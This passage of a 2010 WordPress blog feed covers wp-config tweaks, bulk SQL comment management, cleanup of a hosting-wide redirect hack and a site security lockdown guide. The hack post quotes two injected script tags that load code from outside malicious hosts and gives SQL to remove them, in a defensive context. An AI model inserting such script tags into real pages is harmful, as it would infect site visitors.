<p>Error logs are powerful tools for keeping an eye on things and expediently resolving issues. It&rsquo;s awesome that WordPress makes this so easy. We cover this in greater depth along with a couple of other methods in <a href="http://digwp.com/2009/07/monitor-php-errors-wordpress/" title="3 Ways to Monitor PHP Errors">this post</a>.</p>
<h4>Increase PHP Memory</h4>
<p>If you are receiving error messages telling you that your &ldquo;Allowed memory size of xxx bytes exhausted,&rdquo; this setting may help resolve the issue. As of WordPress version 2.5, the <code>WP_MEMORY_LIMIT</code> definition enables you to specify the maximum amount of memory that may be used by PHP. Here are some examples:</p>
<pre><code>define('WP_MEMORY_LIMIT', '64M');
define('WP_MEMORY_LIMIT', '96M');
define('WP_MEMORY_LIMIT', '128M');</code></pre>
<p>By default, WordPress will automatically attempt to increase PHP memory up to 32MB, so this setting is only needed for values higher than 32MB. Note that some web hosts disable your ability to increase PHP memory, so you may need to ask (or beg) for them to do it.</p>
<h3>More info, tips and tricks for wp-config</h3>
<p>For more information on the <code>wp-config.php</code> file, <a href="http://codex.wordpress.org/Editing_wp-config.php" title="Editing wp-config.php">check out the WordPress Codex</a>. We also have some <a href="http://digwp.com/2009/06/wordpress-configuration-tricks/" title="WordPress Configuration Tricks">awesome wp-config tricks</a> and <a href="http://digwp.com/2009/07/optimize-wordpress-performance-with-the-wp-config-php-file/" title="Optimize WordPress Performance with the wp-config.php File">wp-config optimization tips</a> for your WordPress enjoyment :)</p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/08/pimp-your-wp-config-php/">Permalink</a> | <a href="http://digwp.com/2010/08/pimp-your-wp-config-php/#comments">44 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/08/pimp-your-wp-config-php/&title=Pimp your wp-config.php">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/config/" rel="tag">config</a>, <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/performance/" rel="tag">performance</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/08/pimp-your-wp-config-php/feed/</wfw:commentRss>
		<slash:comments>44</slash:comments>
		</item>
		<item>
		<title>Easy Comment Management via SQL</title>
		<link>http://digwp.com/2010/08/wordpress-sql-comments/</link>
		<comments>http://digwp.com/2010/08/wordpress-sql-comments/#comments</comments>
		<pubDate>Mon, 09 Aug 2010 16:55:44 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[tricks]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2027</guid>
		<description><![CDATA[Here are some sweet SQL code snippets for easy comment management. Sometimes it&#8217;s easier to modify comment status and delete unwanted comments on a sitewide basis. Using a program like phpMyAdmin makes it so easy to do stuff like remove spam, close/open comments on old posts, enable/disable pingbacks for specific time periods, and so on. [...]]]></description>
			<content:encoded><![CDATA[<p>Here are some sweet <abbr title="Structured Query Language">SQL</abbr> code snippets for <strong>easy comment management</strong>. Sometimes it&rsquo;s easier to modify comment status and delete unwanted comments on a <em>sitewide</em> basis. Using a program like <a href="http://www.phpmyadmin.net/">phpMyAdmin</a> makes it so easy to do stuff like remove spam, close/open comments on old posts, enable/disable pingbacks for specific time periods, and so on. Just remember to <a href="http://codex.wordpress.org/Backing_Up_Your_Database" title="WordPress Codex: Backing Up Your Database">backup your database</a> before running any queries.</p>
<h3>Remove all spam comments from the database</h3>
<p>This <abbr title="Structured Query Language">SQL</abbr> query removes all comments marked as &ldquo;spam&rdquo; from the database:</p>
<p><code>DELETE FROM wp_comments WHERE wp_comments.comment_approved = 'spam';</code></p>
<p>Works great in all versions of WordPress including 3.0!</p>
<p><span id="more-2027"></span></p>
<h3>Disabling and enabling comments</h3>
<p>In the WordPress database, the &ldquo;<code>wp_posts</code>&rdquo; table includes a column called &ldquo;<code>comment_status</code>&rdquo;, which may contain one of the following values for each row (i.e., post):</p>
<ul>
<li><code>open</code> (comments open to everyone)</li>
<li><code>closed</code> (comments closed to everyone)</li>
<li><code>registered_only</code> (comments open for registered/logged-in users)</li>
</ul>
<p>Given this information, we may execute the following <acronym title="Structured Query Language">SQL</acronym> queries (via phpMyAdmin or any other method of querying the database) to manipulate our discussion-management settings for comments (note: remember to backup your database):</p>
<h4>Globally enable comments for all users</h4>
<pre><code>UPDATE wp_posts SET comment_status = 'open';</code></pre>
<h4>Globally disable comments for all users</h4>
<pre><code>UPDATE wp_posts SET comment_status = 'closed';</code></pre>
<h4>Globally enable comments for registered users only</h4>
<pre><code>UPDATE wp_posts SET comment_status = 'registered_only';</code></pre>
<h4>Globally enable/disable comments before a certain date</h4>
<p>For this query, specify the <code>comment_status</code> as either <code>open</code>, <code>closed</code>, or <code>registered_only</code>. Also, specify the date by editing the <code>2008-01-01</code> to suit your needs.</p>
<pre><code>UPDATE wp_posts SET comment_status = 'closed' WHERE post_date &lt; '2008-01-01' AND post_status = 'publish';</code></pre>
<p>I run this query a few times each year (or as often as I can remember it) to disable comments on old posts. Ultimately, I will combine this query with a similar one (provided below) for pingbacks and trackbacks to manage discussion options with a single step.</p>
<h3>Disabling and enabling Trackbacks &amp; Pingbacks</h3>
<p>Similar as before, the &ldquo;<code>wp_posts</code>&rdquo; table also includes a column called &ldquo;<code>ping_status</code>&rdquo;, which applies to both pingbacks and trackbacks, and may contain one of the following values for each row (i.e., post):</p>
<ul>
<li><code>open</code> (pingbacks/trackbacks open to everyone)</li>
<li><code>closed</code> (pingbacks/trackbacks closed to everyone)</li>
</ul>
<p>Given this information, we may execute the following <acronym title="Structured Query Language">SQL</acronym> queries (via phpMyAdmin or any other method of querying the database) to manipulate our discussion-management settings for pingbacks and trackbacks:</p>
<h4>Globally enable pingbacks/trackbacks for all users</h4>
<pre><code>UPDATE wp_posts SET ping_status = 'open';</code></pre>
<h4>Globally disable pingbacks/trackbacks for all users</h4>
<pre><code>UPDATE wp_posts SET ping_status = 'closed';</code></pre>
<h4>Globally enable/disable pingbacks/trackbacks before a certain date</h4>
<p>For this query, specify the <code>ping_status</code> as either <code>open</code> or <code>closed</code>. Also, specify the date by editing the <code>2008-01-01</code> to suit your needs.</p>
<pre><code>UPDATE wp_posts SET ping_status = 'closed' WHERE post_date &lt; '2008-01-01' AND post_status = 'publish';</code></pre>
<p>As before, this last query is one that I will be using a few times each year (or as often as I can remember it) to disable comments on old posts. Ultimately, I will combine this query with the comments query to produce the one-step discussion-management query provided below.</p>
<h3>Complete, one-step discussion management</h3>
<p>Given the queries described above, we may fashion the following &ldquo;one-step&rdquo; <acronym title="Structured Query Language">SQL</acronym> queries, perfect for complete, plugin-free discussion management:</p>
<h4>Globally enable/disable all discussion: comments, pingbacks and trackbacks</h4>
<p>For this query, specify the <code>comment_status</code> as either <code>open</code>, <code>closed</code>, or <code>registered_only</code>. Also, specify the <code>ping_status</code> as either <code>open</code> or <code>closed</code>.</p>
<pre><code>UPDATE wp_posts SET comment_status = 'open', ping_status = 'open' WHERE comment_status = 'closed' AND post_status = 'publish';</code></pre>
<h4>Globally enable/disable comments, pingbacks and trackbacks before a certain date</h4>
<p>For this query, specify the <code>comment_status</code> as either <code>open</code>, <code>closed</code>, or <code>registered_only</code>. Also, specify the <code>ping_status</code> as either <code>open</code> or <code>closed</code>. Finally, specify the date by editing the <code>2008-01-01</code> to suit your needs.</p>
<pre><code>UPDATE wp_posts SET comment_status = 'closed', ping_status = 'closed' WHERE post_date &lt; '2008-01-01' AND post_status = 'publish';</code></pre>
<p>That last query is perfect for manual control over the closing of both comments and xbacks for posts from a specific time period. Sure there are plugins for this, but there are also plugins that enable direct SQL commands, making it convenient for granular control over discussion intervals. </p>
<p>Here are some more <a href="http://digwp.com/2010/03/remove-replace-content-wordpress-database/" title="Remove/Replace Content from the WordPress Database">awesome SQL techniques</a>!</p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/08/wordpress-sql-comments/">Permalink</a> | <a href="http://digwp.com/2010/08/wordpress-sql-comments/#comments">9 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/08/wordpress-sql-comments/&title=Easy Comment Management via SQL">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/mysql/" rel="tag">mysql</a>, <a href="http://digwp.com/tag/sql/" rel="tag">sql</a>, <a href="http://digwp.com/tag/tips/" rel="tag">tips</a>, <a href="http://digwp.com/tag/tricks/" rel="tag">tricks</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/08/wordpress-sql-comments/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Media Temple WordPress Hack</title>
		<link>http://digwp.com/2010/07/media-temple-wordpress-hack/</link>
		<comments>http://digwp.com/2010/07/media-temple-wordpress-hack/#comments</comments>
		<pubDate>Sat, 17 Jul 2010 15:38:15 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[mt]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2547</guid>
		<description><![CDATA[It looks like Media Temple WordPress installs have been hit with a WordPress Redirect Exploit. We got hit here at DigWP.com, but have cleaned things up and are taking steps to prevent it from happening again. Here is what Media Temple knows so far: Visitors viewing&#160;posts on your blog may be redirected to a third-party [...]]]></description>
			<content:encoded><![CDATA[<p>It looks like Media Temple WordPress installs have been hit with a <a href="http://weblog.mediatemple.net/weblog/category/system-incidents/1404-wordpress-redirect-exploit/" title="MT System Status Report">WordPress Redirect Exploit</a>. We got hit here at DigWP.com, but have cleaned things up and are taking steps to prevent it from happening again. Here is what Media Temple knows so far:</p>
<ul>
<li>Visitors viewing&nbsp;posts on your blog may be redirected to a third-party site.&nbsp; This may&nbsp;be a site already blocked by Google.</li>
<li>Visitors may&nbsp; also be forwarded to the domain googlesearch.com, which has already been&nbsp;disabled.</li>
</ul>
<p>They provide <a href="http://wiki.mediatemple.net/w/WordPress_Redirect_Exploit" title="WordPress Redirect Exploit">steps for clearing things up</a>, but it doesn&#8217;t look like the entry-point or source of this hack is known at this point.</p>
<p><span id="more-2547"></span></p>
<p>The hack injects a short JavaScript string into your database at the end of each your post&rsquo;s content. There are (so far) two known variations of the inserted garbage:</p>
<ul>
<li><code>&lt;script src="http://ae.awaue.com/7"&gt;&lt;/script&gt;</code></li>
<li><code>&lt;script src="http://ie.eracou.com/3"&gt;&lt;/script&gt;</code></li>
</ul>
<p>To clean this up asap, backup your database and run the following <a href="http://digwp.com/2010/03/remove-replace-content-wordpress-database/" title="Remove/Replace Content from the WordPress Database">SQL queries</a>:</p>
<pre><code>UPDATE wp_posts SET post_content = replace(post_content, '&lt;script src="http://ae.awaue.com/7"&gt;&lt;/script&gt;', '');

UPDATE wp_posts SET post_content = replace(post_content, '&lt;script src="http://ie.eracou.com/3"&gt;&lt;/script&gt;', '');</code></pre>
<p>And remember to change the query prefix from <code>wp_</code> to your custom prefix.</p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/07/media-temple-wordpress-hack/">Permalink</a> | <a href="http://digwp.com/2010/07/media-temple-wordpress-hack/#comments">65 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/07/media-temple-wordpress-hack/&title=Media Temple WordPress Hack">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/hack/" rel="tag">hack</a>, <a href="http://digwp.com/tag/mt/" rel="tag">mt</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/07/media-temple-wordpress-hack/feed/</wfw:commentRss>
		<slash:comments>65</slash:comments>
		</item>
		<item>
		<title>WordPress Security Lockdown</title>
		<link>http://digwp.com/2010/07/wordpress-security-lockdown/</link>
		<comments>http://digwp.com/2010/07/wordpress-security-lockdown/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 21:04:44 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[plugin]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2413</guid>
		<description><![CDATA[This article is split into two parts for ez reference. First some information on the evil WordPress &#8220;Pharma Hack&#8221;, and then a recipe for protecting your site with a solid security lockdown. Choose your own adventure: Pharma Hacked Security Lockdown Pharmaceutical Apocalypse A few weeks ago, DigWP.com was hit with the so-called Pharma Hack. We [...]]]></description>
			<content:encoded><![CDATA[<p>This article is split into two parts for <abbr title="SO easy">ez</abbr> reference. First some information on the evil WordPress &ldquo;Pharma Hack&rdquo;, and then a recipe for protecting your site with a solid security lockdown. Choose your own adventure:</p>
<ul>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#pharma-hack">Pharma Hacked</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#security-lockdown">Security Lockdown</a></li>
</ul>
<p><span id="more-2413"></span></p>
<h3 id="pharma-hack">Pharmaceutical Apocalypse</h3>
<p>A few weeks ago, <a href="http://digwp.com/">DigWP.com</a> was hit with the so-called <a href="http://www.pearsonified.com/2010/04/wordpress-pharma-hack.php" title="How to Diagnose and Remove the WordPress Pharma Hack">Pharma Hack</a>. We discovered the hack after some Google results turned up all sorts of spammy pharmaceutical garbage littered throughout posts, links, and titles. The tricky part about the hack is that it injects the spam garbage only when your site&rsquo;s pages are requested by a <em>search bot</em> (e.g., googlebot). So when you view your pages in a <em>browser</em>, everything seems perfectly normal. Put simply, the hack is <strong>cloaked</strong>. We had no idea anything was wrong until about <em>two weeks</em> after the attack. During that time a majority of our search engine results were nuked with evil pharma spam. Ick.</p>
<p>Flash forward three weeks later and things are locked-down tight. The Pharma Hack has not returned, and most of the spam garbage in the search results has been filtered out and replaced with clean pages. At the time of the attack, DigWP was running WordPress 2.9/3.0 without any sort of <em>additional</em> site security. We were just using whatever &ldquo;default&rdquo; protection available from either WordPress or Media Temple. After detecting the hack, several days were spent cleaning it up and locking things down. At first, it seemed like an <em>impossible</em> hack to fix &ndash; nothing seemed to work. We ran through the following routine, hoping to fix it:</p>
<ul>
<li>Locate and remove hacked <code>404.php</code> file</li>
<li>Locate and remove hacked content from database</li>
<li>Replace entire set of salt keys</li>
<li>Upload new WordPress files</li>
<li>Restore previous versions of other files</li>
<li>Restore database to previous version</li>
</ul>
<p>These actions alleviate the symptoms, but they don&rsquo;t even touch the actual virus, which somehow regenerates the (base64) encoded spam script. As far as we know, the Pharma Hack works like this:</p>
<ol>
<li>Evil script gains access to your WordPress site</li>
<li>Encoded spam script injected into database</li>
<li>Script inserts spam garbage into pages requested by search bots</li>
<li>Script makes no changes to pages requested by browsers</li>
</ol>
<p>Within the database, the spam script is generated in any/all of these <code>option_name</code> fields:</p>
<ul id="encoded-gibberish">
<li><code>class_generic_support</code></li>
<li><code>widget_generic_support</code></li>
<li><code>wp_check_hash</code></li>
<li><code>ftp_credentials</code></li>
<li><code>rss_[string] e.g.,</code><br /><code>rss_7988287cd8f4f531c6b94fbdbc4e1caf</code></li>
</ul>
<p>If these fields are present and contain <a href="http://digwp.com/examples/PharmaHack/Pharma-Hack_2010-07-11.txt" title="encoded Pharma Hack script">super-long strings of encoded gibberish</a>, your site&rsquo;s infected. You can assess the damages by examining the search results for your site (note: other spam keywords may be used):</p>
<pre><code>site:digwp.com cipro OR meridia OR cialis</code></pre>
<p>If you&rsquo;re hit, hopefully you catch it <em>before</em> googlebot crawls along. But even if you have <em>thousands</em> of hacked pages appearing in the search index, it&rsquo;s not too late to clean things up and secure your site. Here is how we did it..</p>
<h3 id="security-lockdown">WordPress Security Lockdown</h3>
<p>This security strategy is best implemented on <em>new</em> sites. It just makes everything (like renaming table prefixes) <em>so</em> much easier. Either way, you want to start with a clean batch of files. Upload a fresh copy of WordPress, update your plugins, theme files, and so on. You may want to <a href="http://perishablepress.com/press/2010/05/19/htaccess-redirect-maintenance-page-site-updates/" title="htaccess Redirect to Maintenance Page">redirect visitors to a maintenance page</a> while you work on your site. That said, here is our five-step Security Lockdown for WordPress:</p>
<ol style="padding-bottom:15px;">
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#file-permissions">File Permissions</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#file-protection">File Protection</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#database-protection">Database Protection</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#essential-plugins">Essential Plugins</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#security-details">Important Details</a></li>
</ol>
<h4 id="file-permissions">[<a href="#security-lockdown" title="Jump to Menu">1</a>] File Permissions</h4>
<p>After uploading fresh files, the next step is to ensure proper file permissions. WordPress defaults to <code>644</code> for files and <code>755</code> permissions for folders. Make sure these are set properly. While cleaning up, we noticed some crazy permission settings for sensitive files. For example, <code>wp-config.php</code> was set to <code>777</code> &ndash; executable and writable by the entire world!! Make sure you don&rsquo;t see anything like that, and if you do, fix it.</p>
<h4 id="file-protection">[<a href="#security-lockdown" title="Jump to Menu">2</a>] File Protection</h4>
<p>In addition to setting proper file permissions, we can also lock down key files with <code>.htaccess</code>. There are numerous files to protect, perhaps most importantly the <code>wp-config.php</code> file, which contains your database login information. Place the following code in your site&rsquo;s root <code>.htaccess</code> file to protect it:</p>
<pre><code># SECURE WP-CONFIG.PHP
&lt;Files wp\-config\.php&gt;
 Order Deny,Allow
 Deny from all
&lt;/Files&gt;</code></pre>
<p>You may also want to <a href="http://perishablepress.com/press/2009/07/13/htaccess-password-protection-tricks/" title="HTAccess Password-Protection Tricks">password-protect</a> your <code>wp-admin</code> directory, but it may cause more trouble than it&rsquo;s worth.</p>
<h4 id="database-protection">[<a href="#security-lockdown" title="Jump to Menu">3</a>] Database Protection</h4>
<p>Changing the default table prefix is one of the <em>best</em> ways to protect your database. Malicious scripts need targets, and default targets are easy to hit. Change <code>wp_</code> to something more like a password. Some <a href="http://www.random.org/strings/" title="Random String Generator">random string</a> like &ldquo;<code>crUQZPadESeKSy8Q_</code>&rdquo; will make your tables difficult to hit. Like having a built-in password for your database&nbsp;:)</p>
<p>There are two ways to change your prefixes: the easy way and the hard way. The easy way is to add the following line to your <code>wp-config.php</code> file <em>before</em> installing WordPress (important: change the random string to something unique):</p>
<pre><code>$table_prefix  = 'crUQZPadESeKSy8Q_'; // custom table prefix</code></pre>
<p>Do that <em>before</em> running the install script and WordPress takes care of the prefix naming automagically when it creates the database. Going forward, there is no reason not to change default prefixes for all future WordPress installs. For existing sites, you can do it the hard way <a href="http://blogsecurity.net/wordpress/wp-prefix-changer-v11-released" title="WP Prefix Changer v1.1 released">using a plugin</a> or <a href="http://digwp.com/2010/10/change-database-prefix/" title="Change Your Database Prefix to Improve Security">doing it manually</a>.</p>
<h4 id="essential-plugins">[<a href="#security-lockdown" title="Jump to Menu">4</a>] Essential Plugins</h4>
<p>After exploring the vast crop of <a href="http://wordpress.org/extend/plugins/tags/security" title="WordPress<br />
Plugin Directory">WordPress security plugins</a>, we narrowed it down to four plugins that collectively do just about everything in the easiest way possible:</p>
<p><strong><a href="http://mattwalters.net/projects/wordpress-file-monitor/">WP File Monitor</a></strong></p>
<p>This plugin tracks changes made to your files. If/when anything changes, it notifies you via Admin Dashboard alert and/or email alert. So anytime a file is changed, moved, added, or removed, WP File Monitor lets you know. Here is a list of features:</p>
<ul>
<li>Monitors file system for added/deleted/changed files</li>
<li>Sends email when a change is detected</li>
<li>Multiple email formats for alerts</li>
<li>Administration area alert to notify you of changes in case email is not received</li>
<li>Ability to monitor files for changes based on file hash or timestamp</li>
<li>Ability to exclude directories from scan</li>
<li>Site URL included in notification email in case plugin is in use on multiple sites</li>
</ul>
<p>This is one of my favorite plugins. It&rsquo;s perfect for keeping an eye on things. If anyone gets in and messes around with your files, you&rsquo;ll know about it immediately, and even better, you&rsquo;ll know <em>exactly</em> which files have been affected.</p>
<p><strong><a href="http://wordpress.org/extend/plugins/wp-security-scan/">WP Security Scan</a></strong></p>
<p>This plugin scans your WordPress installation for security vulnerabilities and suggests corrective actions. The scan report informs you of any problems with file permissions, system variables, and much more:</p>
<ul>
<li>Passwords</li>
<li>File permissions</li>
<li>Database security</li>
<li>Version hiding</li>
<li>WordPress admin protection/security</li>
<li>Removes WP Generator META tag from core code</li>
</ul>
<p>WP Security Scan also provides a nice summary of server information and latest scan information. Performing a new scan is immediate with the click of a button. Very easy.</p>
<p><strong><a href="http://wordpress.org/extend/plugins/ultimate-security-check/">Ultimate Security Check</a></strong></p>
<p>This plugin provides even more security information, helping you to identify potential issues with your WordPress installation. It scans your site for &ldquo;hundreds of known threats,&rdquo; and then &ldquo;grades&rdquo; your level of site security. Here are some of the key things it checks:</p>
<ul>
<li>Checks for updates</li>
<li>Checks configuration file</li>
<li>Checks if config file is located in unsecured place</li>
<li>Checks presence of install script</li>
<li>Checks server configuration</li>
<li>Checks database</li>
<li>Checks code</li>
</ul>
<p>And quite a bit more. The best part about Ultimate Security Check is that it&rsquo;s so <em>easy</em> to use.</p>
<p><strong><a href="http://wordpress.org/extend/plugins/secure-wordpress/">Secure WordPress</a></strong></p>
<p>This plugin takes care of all those &ldquo;little&rdquo; things. Instead of installing a bunch of smaller plugins or <a href="http://digwp.com/2010/03/wordpress-functions-php-template-custom-functions/" title="WordPress functions.php Template with 15 Essential Custom Functions">custom functions</a> for this stuff, the Secure WordPress plugin does it all for you:</p>
<ol>
<li>Removes error-information on login-page</li>
<li>Adds index.php plugin-directory (virtual)</li>
<li>Removes the wp-version, except in admin-area</li>
<li>Removes Really Simple Discovery</li>
<li>Removes Windows Live Writer</li>
<li>Remove core update information for non-admins</li>
<li>Remove plugin-update information for non-admins</li>
<li>Remove theme-update information for non-admins (only WP 2.8 and higher)</li>
<li>Hide wp-version in backend-dashboard for non-admins</li>
<li><a href="http://perishablepress.com/press/2009/12/22/protect-wordpress-against-malicious-url-requests/" title="Protect WordPress Against Malicious URL Requests">Block Bad Queries</a></li>
</ol>
<p>Having all of this (and much more) done with a few clicks in the WordPress Admin is easy <em>and</em> effective.</p>
<h4 id="security-details">[<a href="#security-lockdown" title="Jump to Menu">5</a>] Important Details</h4>
<p>The previous four steps comprise the majority of our security lockdown, but there are some important details to consider:</p>
<ul>
<li>Keep your WordPress install, plugins, themes, and scripts updated with current versions</li>
<li>Use <strong>strong</strong> passwords and change them often</li>
<li>Disable user registration if not needed/used for your site</li>
<li>Check roles and permissions for all users</li>
<li>Clean up and consolidate old/loose files</li>
<li>Remove unused plugins and themes</li>
<li>Check permissions of <code>upload</code>, <code>upgrade</code>, and <code>backup</code> directories</li>
<li>Keep a backup of your site files</li>
<li>Keep your database optimized and backed up</li>
</ul>
<p>We did these things here at DigWP.com, but certain tips may not apply to every site. As a side note, despite our new security lockdown, I am still concerned/confused about how to handle the <code>upload</code>, <code>upgrade</code>, and <code>backup</code> directories. It seems dangerous to leave these folders set with <code>777</code> permissions, and for many shared hosts, that seems to be the required setting. I would be interested in hearing any ideas about securing these directories.</p>
<h3>Bottom Line</h3>
<p>There is no such thing as perfect security. If someone wants in bad enough, they&rsquo;re going to find a way, despite your best efforts at staying secure. Fortunately, most malicious scripts target the least common denominator, default WordPress installs. At the very least, ensure proper file permissions, secure <code>wp-config.php</code>, and use unique database prefixes. Together, these three steps will put your site out of reach for a vast majority of malicious scripts and other automated attacks. Of course, there are many other ways to <a href="http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/" title="How to Secure Your New WordPress Installation">strengthen your site&rsquo;s security</a>, depending on how far you want to go with it. The lockdown strategy presented in this article provides strong security in the most efficient way possible, but there is always room for improvement, so share your ideas and help the community secure their WordPress.</p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/07/wordpress-security-lockdown/">Permalink</a> | <a href="http://digwp.com/2010/07/wordpress-security-lockdown/#comments">44 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/07/wordpress-security-lockdown/&title=WordPress Security Lockdown">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/plugin/" rel="tag">plugin</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/07/wordpress-security-lockdown/feed/</wfw:commentRss>
		<slash:comments>44</slash:comments>
		</item>
		<item>
		<title>Remove/Replace Content from the WordPress Database</title>
		<link>http://digwp.com/2010/03/remove-replace-content-wordpress-database/</link>
		<comments>http://digwp.com/2010/03/remove-replace-content-wordpress-database/#comments</comments>
		<pubDate>Tue, 30 Mar 2010 09:56:42 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[nofollow]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[tricks]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=1643</guid>
		<description><![CDATA[A useful tool to have in in your WordPress toolbelt is the ability to quickly and easily search for, find, and replace specific strings of text directly from the MySQL database. We can do this by entering SQL queries either directly or through one of those handy interface applications like phpMyAdmin, which seems like one [...]]]></description>
			<content:encoded><![CDATA[<p>A useful tool to have in in your WordPress toolbelt is the ability to quickly and easily <em>search</em> for, <em>find</em>, and <em>replace</em> specific strings of text directly from the <acronym title="(My) Structured Query Language">MySQL</acronym> database. We can do this by entering <acronym title="Structured Query Language">SQL</acronym> queries either directly or through one of those handy interface applications like <a href="http://www.phpmyadmin.net/">phpMyAdmin</a>, which seems like one of the most prevalent <acronym title="PHP: Hypertext Preprocessor">PHP</acronym> applications on servers today.</p>
<p>Hopefully, you have some experience working <em>directly</em> with the database, but even if you&rsquo;re new to it, the simple recipes presented in this <acronym title="Digging into WordPress">DiW</acronym> article will help you find, replace, and delete specific text content using a few simple <acronym title="Structured Query Language">SQL</acronym> commands. This gives you incredible power to make sitewide changes to your posts, comments, or any other database table with a few simple clicks.</p>
<p><span id="more-1643"></span></p>
<p>Before we get started, remember to</p>
<blockquote><p>backup your database before making any changes!</p></blockquote>
<p>Once we&rsquo;ve got our database backup(s), we&rsquo;re ready to dig into some easy, effective <acronym title="Structured Query Language">SQL</acronym> queries for manipulating post content. To give us some context while we go, we&rsquo;ll assume a hypothetical case: let&rsquo;s say we want to find and remove all instances of the <a href="http://digwp.com/2010/02/remove-nofollow-attributes-from-post-content/" title="WordPress Tip: Remove nofollow Attributes from Post Content">mystical nofollow attribute</a>, in all of its various incarnations:</p>
<ul>
<li><code>rel="nofollow"</code></li>
<li><code>rel="external nofollow"</code></li>
<li><code>rel="nofollow external"</code></li>
</ul>
<p>In addition to these instances of the attribute, our custom query will also match any instances of other attribute values besides &ldquo;<code>external</code>&rdquo;. A couple of things to keep in mind about <acronym title="Structured Query Language">SQL</acronym> selectors:</p>
<pre><code>%   =&gt; this is the "wildcard" selector - will match /any/ character
*   =&gt; this is the "all" selector - will match /all/ entries</code></pre>
<p>All right, let&rsquo;s look at some of the useful things we can do using a few custom <acronym title="Structured Query Language">SQL</acronym> queries..</p>
<h3>Display all instances of a given text string</h3>
<p>Before making any sitewide <em>changes</em> to your database, it&rsquo;s a good idea to simply search and find all instances of a given text string. So in our example, we are looking for three different <code>nofollow</code> patterns, as described above.</p>
<p>Using phpMyAdmin, click on the &ldquo;SQL&rdquo; tab and enter the following <acronym title="Structured Query Language">SQL</acronym> query:</p>
<pre><code>SELECT * FROM wp_posts WHERE ( 
post_content LIKE '% rel="nofollow"%'
OR post_content LIKE '% nofollow%'
OR post_content LIKE '%nofollow %'
);</code></pre>
<p>This query selects everything from the <code>wp_posts</code> table that matches any of our three target cases. Note that if you are <a href="http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/" title="How to Secure Your New WordPress Installation">using a unique table prefix</a> (i.e., anything other than &ldquo;<code>wp_</code>&rdquo;), you will need to change the &ldquo;<code>wp_posts</code>&rdquo; in the first line to match.</p>
<p>From here, you can check the results by evaluating the overall number of posts and &ldquo;zooming in&rdquo; on any specific post(s) of interest. To search for a text string in a <em>different</em> table, replace &ldquo;<code>wp_posts</code>&rdquo; with something else, such as &ldquo;<code>wp_comments</code>&rdquo; or whatever you like.</p>
<p>If desired, we could locate all instances of each specific pattern individually using each of the following queries:</p>
<pre><code>SELECT * FROM wp_posts WHERE (post_content LIKE '%nofollow %');
SELECT * FROM wp_posts WHERE (post_content LIKE '% nofollow%');
SELECT * FROM wp_posts WHERE (post_content LIKE '% rel="nofollow"%');</code></pre>
<p>So with our <code>nofollow</code> example, let&rsquo;s say we have 100 posts that contain some instance of the target string. We no longer want these attributes polluting our post content, so let&rsquo;s remove them..</p>
<h3>Remove all instances of a given text string</h3>
<p>Once we are ready to actually remove all instances of the target string in our post content, we run the following three queries, either all at once or one at a time:</p>
<pre><code>UPDATE wp_posts SET post_content = REPLACE ( post_content, 'nofollow ', '' );
UPDATE wp_posts SET post_content = REPLACE ( post_content, ' nofollow', '' );
UPDATE wp_posts SET post_content = REPLACE ( post_content, ' rel="nofollow"', '' );</code></pre>
